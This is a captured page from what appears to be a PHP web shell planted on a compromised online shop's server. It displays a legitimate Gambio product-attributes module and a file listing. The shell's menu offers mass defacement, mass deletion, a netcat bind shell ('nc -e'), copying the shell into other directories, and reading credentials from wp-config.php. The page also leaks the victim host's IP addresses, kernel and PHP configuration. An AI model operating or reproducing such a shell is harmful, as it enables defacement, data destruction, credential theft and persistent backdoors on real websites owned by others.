WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / styroporzuschnitte24_shop / gm / modules / [dxwrx-rx-r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/modules/gm_product_attributes.php (9.43 KB)
<?php
/* --------------------------------------------------------------
   gm_product_attributes.php 2008-08-10 gambio
   Gambio OHG
   http://www.gambio.de
   Copyright (c) 2008 Gambio OHG
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------


   based on: 
   (c) 2000-2001 The Exchange Project  (earlier name of osCommerce)
   (c) 2002-2003 osCommerce(product_info.php,v 1.94 2003/05/04); www.oscommerce.com 
   (c) 2003      nextcommerce (product_info.php,v 1.46 2003/08/25); www.nextcommerce.org
   (c) 2003 XT-Commerce - community made shopping http://www.xt-commerce.com ($Id: product_attributes.php 1255 2005-09-28 15:10:36Z mz $)

   Released under the GNU General Public License
   -----------------------------------------------------------------------------------------
   Third Party contribution:
   Customers Status v3.x  (c) 2002-2003 Copyright Elari elari@free.fr | www.unlockgsm.com/dload-osc/ | CVS : http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/elari/?sortby=date#dirlist
   New Attribute Manager v4b                            Autor: Mike G | mp3man@internetwork.net | http://downloads.ephing.com
   Cross-Sell (X-Sell) Admin 1                          Autor: Joshua Dechant (dreamscape)
   Released under the GNU General Public License
   ---------------------------------------------------------------------------------------*/

if(defined('_GM_VALID_CALL') === false) die('x0');


// BOF GM_MOD:
include_once(DIR_FS_CATALOG . 'gm/inc/gm_prepare_number.inc.php');	 
	 
$gm_attributes_smarty = new Smarty;
$gm_attributes_smarty->assign('tpl_path', 'templates/'.CURRENT_TEMPLATE.'/');


if ($product->getAttributesCount() > 0) {
	$products_options_name_query = xtDBquery("select distinct popt.products_options_id, popt.products_options_name from ".TABLE_PRODUCTS_OPTIONS." popt, ".TABLE_PRODUCTS_ATTRIBUTES." patrib where patrib.products_id='".$product->data['products_id']."' and patrib.options_id = popt.products_options_id and popt.language_id = '".(int) $_SESSION['languages_id']."' order by popt.products_options_name");

	$row = 0;
	$col = 0;
	$products_options_data = array ();
	while ($products_options_name = xtc_db_fetch_array($products_options_name_query,true)) {
		$selected = 0;
		$products_options_array = array ();

		$products_options_data[$row] = array ('NAME' => $products_options_name['products_options_name'], 'ID' => $products_options_name['products_options_id'], 'DATA' => '');
		// BOF GM_MOD
		if(GM_SET_OUT_OF_STOCK_ATTRIBUTES == 'true') $gm_hide = "and pa.attributes_stock > 0";
		else $gm_hide = "";
		$products_options_query = xtDBquery("select pov.products_options_values_id,
		                                                 pov.products_options_values_name,
																										 pov.gm_filename,
		                                                 pa.attributes_model,
		                                                 pa.options_values_price,
		                                                 pa.price_prefix,
		                                                 pa.attributes_stock,
		                                                 pa.attributes_model
		                                                 from ".TABLE_PRODUCTS_ATTRIBUTES." pa,
		                                                 ".TABLE_PRODUCTS_OPTIONS_VALUES." pov
		                                                 where pa.products_id = '".$product->data['products_id']."'
		                                                 and pa.options_id = '".$products_options_name['products_options_id']."'
		                                                 and pa.options_values_id = pov.products_options_values_id
		                                                 and pov.language_id = '".(int) $_SESSION['languages_id']."'
																										 " . $gm_hide . "
		                                                 order by pa.sortorder");
		// EOF GM_MOD
		$col = 0;
		while ($products_options = xtc_db_fetch_array($products_options_query,true)) {
			$price = '';
			// BOF GM_MOD
			if ($_SESSION['customers_status']['customers_status_show_price'] == '0' 
					||(	$xtPrice->gm_check_price_status($product->data['products_id']) > 0
							&& !($xtPrice->gm_check_price_status($product->data['products_id']) == 2 && $xtPrice->getPprice($product->data['products_id']) > 0)						
						)
					) {
				if(!empty($products_options['gm_filename'])) $gm_attribute_image = 'images/product_images/attribute_images/' . $products_options['gm_filename'];
				$products_options_data[$row]['DATA'][$col] = array ('ID' => $products_options['products_options_values_id'], 
																														'TEXT' => $products_options['products_options_values_name'], 
																														'MODEL' => $products_options['attributes_model'], 
																														'PRICE' => '', 
																														'FULL_PRICE' => '', 
																														'PREFIX' => $products_options['price_prefix'],
																														'GM_STOCK' => gm_prepare_number($products_options['attributes_stock'], ','),
																														'GM_IMAGE' => $gm_attribute_image);
				unset($gm_attribute_image);
				// EOF GM_MOD
			} else {
				if ($products_options['options_values_price'] != '0.00') {
					// BOF GM_MOD
					if($product->data['products_tax_class_id'] != 0) $price = $xtPrice->xtcFormat($products_options['options_values_price'], false, $product->data['products_tax_class_id']);
					else  $price = $xtPrice->xtcFormat($products_options['options_values_price'], false, $product->data['products_tax_class_id'], true);
					// EOF GM_MOD
				}
				
				$products_price = $xtPrice->xtcGetPrice($product->data['products_id'], $format = false, 1, $product->data['products_tax_class_id'], $product->data['products_price']);
				// BOF GM_MOD
				
				$discount = 0.00;
				if ($_SESSION['customers_status']['customers_status_discount'] != '0.00') { // BOF GM_MOD:
					$discount = $_SESSION['customers_status']['customers_status_discount'];
					if ($product->data['products_discount_allowed'] < $_SESSION['customers_status']['customers_status_discount'])
						$discount = $product->data['products_discount_allowed'];
				}
				
				// special offer?
				$gm_check_special_offer = xtc_db_query("SELECT specials_id FROM specials WHERE products_id = '".$product->data['products_id']."' AND status = '1'");
				if(xtc_db_num_rows($gm_check_special_offer) == 0){
					if ($_SESSION['customers_status']['customers_status_discount_attributes'] == 1){
						if($products_options['price_prefix'] == '+') $price -= $price / 100 * $discount;
						elseif($products_options['price_prefix'] == '-') $price += $price / 100 * $discount;
					}
				}
				// EOF GM_MOD
				
				$attr_price=$price;
				if ($products_options['price_prefix']=="-") $attr_price=$price*(-1);
				$full = $products_price + $attr_price;
				// BOF GM_MOD
				if(!empty($products_options['gm_filename'])) $gm_attribute_image = 'images/product_images/attribute_images/' . $products_options['gm_filename'];
				$products_options_data[$row]['DATA'][$col] = array ('ID' => $products_options['products_options_values_id'], 
																														'TEXT' => $products_options['products_options_values_name'], 
																														'MODEL' => $products_options['attributes_model'], 
																														'PRICE' => $xtPrice->xtcFormat($price, true), 
																														'FULL_PRICE' => $xtPrice->xtcFormat($full, true), 
																														'PREFIX' => $products_options['price_prefix'],
																														'GM_STOCK' => gm_prepare_number($products_options['attributes_stock'], ','),
																														'GM_IMAGE' => $gm_attribute_image);
				unset($gm_attribute_image);				
				// EOF GM_MOD
				
				//if PRICE for option is 0 we don't need to display it
				if ($price == 0) {
					unset ($products_options_data[$row]['DATA'][$col]['PRICE']);
					unset ($products_options_data[$row]['DATA'][$col]['PREFIX']);
				}

			}
			$col ++;
		}
		$row ++;
	}

}

// BOF GM_MOD
$gm_attributes_smarty->assign('GM_HIDE_OUT_OF_STOCK', GM_SET_OUT_OF_STOCK_ATTRIBUTES);
$gm_attributes_smarty->assign('GM_SHOW_STOCK', GM_SET_OUT_OF_STOCK_ATTRIBUTES_SHOW);
$gm_attributes_smarty->assign('GM_STOCK_TEXT_BEFORE', GM_ATTR_STOCK_TEXT_BEFORE);
$gm_attributes_smarty->assign('GM_STOCK_TEXT_AFTER', GM_ATTR_STOCK_TEXT_AFTER);
// EOF GM_MOD

$gm_attributes_smarty->assign('PRODUCTS_ID', $listing['products_id']);

if ($product->data['gm_options_template'] == '' or $product->data['gm_options_template'] == 'default') {
	$files = array ();
	if ($dir = opendir(DIR_FS_CATALOG.'templates/'.CURRENT_TEMPLATE.'/module/gm_product_options/')) {
		while (($file = readdir($dir)) !== false) {
			if (is_file(DIR_FS_CATALOG.'templates/'.CURRENT_TEMPLATE.'/module/gm_product_options/'.$file) and ($file != "index.html") and (substr($file, 0, 1) !=".")) {
				$files[] = array ('id' => $file, 'text' => $file);
			} //if
		} // while
		closedir($dir);
	}
	$product->data['gm_options_template'] = $files[0]['id'];
}

$gm_attributes_smarty->assign('language', $_SESSION['language']);
$gm_attributes_smarty->assign('options', $products_options_data);
// set cache ID

	$gm_attributes_smarty->caching = 0;
	$module = $gm_attributes_smarty->fetch(CURRENT_TEMPLATE.'/module/gm_product_options/'.$product->data['gm_options_template']);

?>
namawaktuukuranownerpermaksi
..
gm_gprint_admin_application_top.php 2013-11-12 21:022.63 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_categories.php 2013-11-12 21:02713 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_column_left.php 2013-11-12 21:02673 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_general.php 2013-11-12 21:02829 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_gm_pdf_order.php 2013-11-12 21:021.27 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_gm_send_order.php 2013-11-12 21:022.39 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_header.php 2013-11-12 21:02619 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_new_category.php 2013-11-12 21:022.06 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_new_product.php 2013-11-12 21:021.29 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_orders.php 2013-11-12 21:022.79 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_orders_2.php 2013-11-12 21:021.69 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_orders_css.php 2013-11-12 21:02458 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_admin_orders_js.php 2013-11-12 21:02524 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_application_top.php 2013-11-12 21:021.49 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_cart_actions.php 2013-11-12 21:022.95 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_checkout.php 2013-11-12 21:02534 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_checkout_confirmation.php 2013-11-12 21:021.2 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_checkout_process.php 2013-11-12 21:02492 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_header_css.php 2013-11-12 21:02979 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_header_js.php 2013-11-12 21:02144 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_login.php 2013-11-12 21:02120 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_order.php 2013-11-12 21:022.4 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_order_details_cart.php 2013-11-12 21:02505 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_order_details_cart_2.php 2013-11-12 21:021.14 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_order_details_wishlist.php 2013-11-12 21:021.73 KB 76129f60960:kunden-xw-x-----
edt
gm_gprint_product_info.php 2013-11-12 21:02835 B 76129f60960:kunden-xw-x-----
edt
gm_gprint_tables.php 2013-11-12 21:021.3 KB 76129f60960:kunden-xw-x-----
edt
gm_graduated_prices.php 2013-11-12 21:021.48 KB 76129f60960:kunden-xw-x-----
edt
gm_popup_header.php 2013-11-12 21:022.65 KB 76129f60960:kunden-xw-x-----
edt
gm_product_attributes.php 2013-11-12 21:029.43 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/gm/modules
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK